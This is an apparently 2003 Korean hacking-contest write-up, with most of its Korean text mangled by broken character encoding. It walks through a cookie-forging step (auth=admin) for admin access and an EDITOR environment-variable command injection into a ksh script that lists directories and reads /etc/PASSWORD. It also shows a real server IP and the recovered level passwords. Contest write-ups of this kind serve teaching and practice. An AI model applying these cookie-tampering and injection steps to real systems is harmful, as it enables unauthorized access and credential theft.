:):):):):):):):):):):):):):):):):):):):):)
;) õ д ŷ ȸ .. ;)
:):):):):):):):):):):):):):):):):):):):):)

[ , ]

---------------------------------------
| $ whoami                            |
| ۼ : hkpco()              |
| б : б                   |
| e-mail&MSN : hkpco@hanmail.net      |
| home-page : http://hkpco.kr/        |
---------------------------------------

------
|at..|
------
KoreaSecurity Member - http://koreasecurity.net/
WiseGuys Member - http://hackerschool.org/

______________________________________________________________ 


ȸ  е鲲 ̷ ..
=====================================
ȳϼ.  ̷  ȸ Ͽ ּż մϴ.
׸  ȸ  е鲲  ̷ Ҽ ִ ȸ  ּż ϴٴ  ϰ ͽϴ.
 ȸ   ݰ  Ǿϴ.    ȸϴ.
׷  ̷ ȸ ⸦ ϸ
 ġڽϴ.
=====================================

1. ȸ 

õ д ȸ ۵Ǵ³! 4  ƿ ǻ͸ Ű  Ǯ غ Ͽϴ!
 Źó پ ϴ 3   ä,  ҽϴ.
 1ܰ go! (αٵα..)


2. level1  Ͽ..

 ڽϴ!

======================================================================
| --                                                             |
| http://211.205.70.252/  Ͻþ    ȹϼ   |
| admin ٽÿ  н带 ݴϴ                |
======================================================================

켱 http://211.205.70.252/  Ͽϴ.
α â ־ ҽ  /cgi-bin/LeVel1NiMdA.cgi ̰  翴ϴ.

ҽ    ũ? ƴ ũ ֽϴ. ( Ʒ )
------------------------------------------------------------------------------------------
-  âƲȿ  ִ ䷷ ͽ÷η                                -
- Ctrl+N  ϴ. ׷  â ϳ ϴ.                                        -
- ׷  â   ׸ Ʋȿ ִ  ƴմϴ!                           -
-  ͽ÷η Ӷó ,,  ޴   ִ  âԴϴ!    -
- ׷ -> ҽ   ҽ ϴ! ..                                         -
------------------------------------------------------------------------------------------

ҽ  ٸ ǽϴ° ϳ~(?)  Ⱥ⿡ telnet  ̿Ͽ 80 Ʈ Ͽ غ Ͽϴ.

!!!  ۼϷµ    ̸ ص ణ  Ͽϴ !!!

[hkpco@work hkpco]$ telnet 211.205.70.252 80     //   80 Ʈ 
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
POST /cgi-bin/LeVel1NiMdA.cgi        HTTP/1.0     // POST  ̿Ͽ,  ҽ  ִ
                                                  // /cgi-bin/LeVel1NiMdA.cgi  POST  ̿Ͽ!
                                                     ( GET   )

HTTP/1.1 200 OK
Date: Wed, 26 Nov 2003 15:56:42 GMT
Server: Web/1.0.00 (Unix)
Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/
Set-Cookie: auth=user; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/  <-  κп auth=user κ ǽ ϴ.
                                                                          auth=user κп admin , ְ
                                                                           ָ! ̶  ϴ!   
/*
 κ ڸ Ű ִ κп auth  userid  ޾Ƽ  id   ϴ° ϴ.
*/


Connection: close
Content-Type: text/html

<html>
<head>
<title>Level1 Auth</title>
</head>
<body>

<script language=javascript>
<!--
alert("Sorry. You are uesr level.")

window.close()
-->
</script>


</body>
</html>

Cookie: auth=admin // auth  admin  Ͽ Է

/* print... */

HTTP/1.1 200 OK
Date: Wed, 26 Nov 2003 22:30:19 GMT
Server: Web/1.0.00 (Unix)
Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/
Connection: close
Content-Type: text/html

<html>
<head>
<title>Level1 Auth</title>
</head>
<body>

You are admin level.<br>

Next stage <hr>
<pre>
մϴ. 1  ذϼ̽ϴ.

 ð Ʒ ش ŷȸ  Ʈ

(hacking.kcs.ac.kr) α  Ͻñ ٶϴ.

ش : 2qjsanswpfh%ok

</pre>

username : admin<br>
</body>
</html>
Connection closed by foreign host.
[hkpco@work hkpco]$

~~~  2qjsanswpfh%ok  ɴϴ. Ѱ̳׿ ^0^;;

#################################################################################
!                                                                               !
! feel? :    ū  ϰִ, ׸  Ű..   !
!         Ű ο   赵 ϱִ  ϴ ^^;   !
!                                                                               !
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


3. level2.. ұ..?

Ŀ! Ѽ ũ ̽, Ǫ~ ..
 ٵ level2    ҽϴ.

===================================================================================
| ++                                                                          |
| 211.205.70.252 18523/tcp Ʈ Ư  α׷ ϰ ֽϴ  |
|  α׷  ϸ ƯϾȿ  н尡 ֽϴ |
===================================================================================

ϴ ε ƾ  ΰ Ƽ telnet  ̿Ͽ 211.205.70.252  18523 Ʈ Ͽϴ.

[hkpco@work hkpco]$ telnet 211.205.70.252 18523
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
level2 password:
/*
 .. level2  н带 Է϶±, ߿      
 2qjsanswpfh%ok  н带 Է϶ ̾µ,  װ͵ 𸣰   Ǯ ϴ ˰
   Ͽϴ.   ڸ -_-;
 ⿡ NULL  ־ ڸ  ־        غýϴ -_-;
 ø.. ( Ʒ )
*/


----------------------------------------------------------------------------------------------------------------------

  ?

1. [hkpco@work hkpco]$ (perl -e 'print 0x00';cat) | telnet 211.205.70.252 18523 // NULL  ֱ Ͽ..

2. [hkpco@work hkpco]$ (perl -e 'print 0x00') | telnet 211.205.70.252 18523 // ;cat   ʰ..

3. [hkpco@work hkpco]$ (perl -e 'print "AAAAAAAA..."';cat) | telnet 211.205.70.252 18523 // overflow  Ͼ?

..

----------------------------------------------------------------------------------------------------------------------

  (?)  ߳׿ -_-;;
     о   길!? ΰ ϴ.
׸  ؼ    ϴ .
.. ׷   Ǯ̸ غڽϴ.

!!!  ױ⽺(?) Ǯ Դϴ _; !!!

[hkpco@work hkpco]$ telnet 211.205.70.252 18523 // 18523 Ʈ   !
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
level2 password: 2qjsanswpfh%ok //  ߴ н Է
Welcome to level2
command : help;

help; // help command  ԷϿ  ˾ƺϴ!

 -> 뷫 Ƽ ణ  ޸
HELP=========================================
id;      : current user id // id °
cul;     : calculator   eg) cul 1 + 2; // ϴ°
date;    : current date and time // ð 
cal;     : calendar // ޷ 
echo;    : message test eg) echo this is test; //   echo ɾ , Ȥ 
----------------------------------------------------------------
| src;     : view source // ҽ ִ°                  |
| srcl;    : available source list // Ʈ ִ°      |
----------------------------------------------------------------
rand;    : generate random value // (?)  𸣰
logtime; : login time // α ð 
fortume; : fortune game // ?
myip;    : print your IP //  ip  

// !  ߿Ѱ ׸ ׵θ ĵ src  srcl Դϴ!!!
//  Ʈ  src  srcl ̶ ֽϴ.
// ٸ ϵ    ϵ ⵵ մϴ.

src srcl; // srcl  ҽϴ.
======= source =[srcl]====================
#!/bin/ksh

cd source
echo *
cd /

// pwd;  µ( ߴµ)  ΰ / ϴ.
//  ũƮ   ΰ / ° Ҽ ֽϴ.
// source 丮  ϸƮ   ٽ /   ũƮ Դϴ.

============================================


src src; // src  ϴ.
======= source =[src]====================
#!/bin/ksh
-> ksh  մϴ.

if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi
->   Ǻ, ڰ  ,  usage: src <name> ϰ մϴ.

fname=`/bin/basename $1`
-> man-page  οϰڽϴ -> basename  name κ պκ 丮 κ  Ѵ.

if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi
-> ڿ ̰ 0̸ EDITOR  /bin/cat  ֽϴ.

echo "======= source =[$fname]===================="
-> ======= source =[$fname]====================  մϴ. $fname   $fname   մϴ. 

$EDITOR source/$fname
-> $EDITOR source/$fname   մϴ.

echo "============================================"
-> ============================================  մϴ.

============================================

 ø   ũƮ 𸥴 Ͽ $EDITOR ȯ溯   Ǭٴ°,
׸   Ǫ° Ҽ ֽϴ.
export  $EDITOR  echo  Ͽ  (ֻ 丮) ϵ   Ͽϴ.
( θ ֻ 丮 Ͽ ذ ǽɽ )
$EDITOR source/$fname ̰   $EDITOR ȯ溯 /bin/cat abcdefg   ־ٸ
$EDITOR source/$fname -> /bin/cat abcdefg source/$fname  ɰԴϴ.
׷ /bin/cat abcdefg  ڵ ҰԴϴ.
׷  װ ̿Ͽ  õ ϴ.



export EDITOR="echo *"; //   ϴ~! (  / )

src src; // src   ٲ..
======= source =[src]====================
bin cal cul date etc fortune help id lib source src srcl usr source/src
//  ϵ ֽϴ.      etc Դϴ.
// etc    Ȯϱ Ͽϴ!
// (  ٸ͵鵵  ƹ etc ҽϴ )
//   ..
============================================

export EDITOR="echo /etc/*";   // export   EDITOR ȯ溯 echo  /etc/*  ϵ մϴ.

src src;   // src Ȯ!
======= source =[src]====================
/etc/PASSWORD /etc/suid_profile source/src   // ..   ° /etc/PASSWORD ̱!
============================================

export EDITOR="cat /etc/PASSWORD";   // ̹ cat  ̿Ͽ /etc/PASSWORD   ϴ!
src src;   // src Ȯ!
======= source =[src]====================
// ..  ƹ͵ ..
//  ũƮ /bin/cat()  ϴ
// ׷ ̹ cat  θ ༭ õ ƾ ڽϴ.
============================================

export EDITOR="/bin/cat /etc/PASSWORD";   // ̹ /bin/cat  ̿Ͽ! (  )
src src;   // src Ȯ!
======= source =[src]====================
մϴ. 2  ذϼ̽ϴ.
 ð Ʒ ش ŷȸ  Ʈ
(hacking.kcs.ac.kr) α  Ͻñ ٶϴ.
  3   ŷ ɷ
 ȰϿ ذ ñ ٶϴ.

ش : wk!ghkxld-3
#!/bin/ksh

if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi

fname=`/bin/basename $1`

if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi

echo "======= source =[$fname]===================="
$EDITOR source/$fname
echo "============================================"

============================================

.
.
.

~ 糵 -_-;;
..  п  ðԴϴ.
Ⱓε.. ȸ! .. .
ϴ ٳ ڽϴ =3=3=3

#####################################################################
!                                                                   !
! feel? :  ũƮ м ϰ,  ִ ũƮ     !
!         ణ Ӽ(?)  ϴ .                        !
!         ҿ   ߻ϴ  ũƮ ڵ忡        !
!          м ɷ°  ǽ ġ                   !
!         λ  ϴ ^^;                                !
!                                                                   !
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


4. level3

п ٳ Խϴ.
 Ư ȸϱ ڽ ѵνð ԰ 11ÿ ߽ϴ.
12   Ѿ    ϴٰ
ҿ ϴ .. -_-;; 㿡 ǻ ѵΰ  ߽ϴ.
 ϴٰ ϱ    ñ淡     ٷ ڴô ߽ϴ
 ɸ ʾ Ͱ ִ ۾ϰ ִ ǻ͸ ô°̾ϴ. !! ȵǾ!!!..
.. ׷ Ȱɸ ..
ٽ ǻ͸ Ű  ҽϴ.

-----------------------------------------------------------------------
| ><                                                              |
| 211.205.70.252 35232/tcpƮ Ư  ϰ ֽϴ  | 
| Ư ɿ  ߻մϴ                                     |
-----------------------------------------------------------------------

.. ̰   .
!  ! Ʈ  !  black  ־ϴ.
ֳϸ Ʈ  Format String Bug  Ѵٰ Ǿ־ Դϴ.
   س   ظ ؼ ϰ ־µ .
׷  Ͽ arg    ְ  , Ȱ  ret  ϴ argv   ׿ϴ.
, bof  °ǰ..
.. fsb   Ǫ   θ Ͽ
ǰ+Ӹ+ɷ+  ȵ ־..  ߽ϴ .
 ̹ ȸ   local fsb  Ǯ ƴ϶° ˾
׷ fsb  ˸ ̶  ذ ɰͰƼ غôµ..
ᱹ ϰ, ׸ ϰ ǻ͸  ھ ߽ϴ..

#####################################################################
!                                                                   !
! feel? :    ɷ(?) ԰   fsb           !
!           ƴ,   մϴ.     !
!          ǵ̸ θ ʰ  ؾ߰ڽϴ!    !
!                                                                   !
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

5. ı

.. ̹ ȸ  λ ȸϴ~..

   л ϴ ȸ л ȸ ۿ ýϴ.

׷ ̷ , л ȸ   ֽô  Դϴ. ^^;

 ȸ п ͵ Ұ, ־ ϵ ҽϴ.

׸   Ƿ ڱؽ  ȸ    θ  Ҽ    ϴ.

  оּż մϴ.

õд ȸ..   ȸϴ.

׷ ϼ ^^;
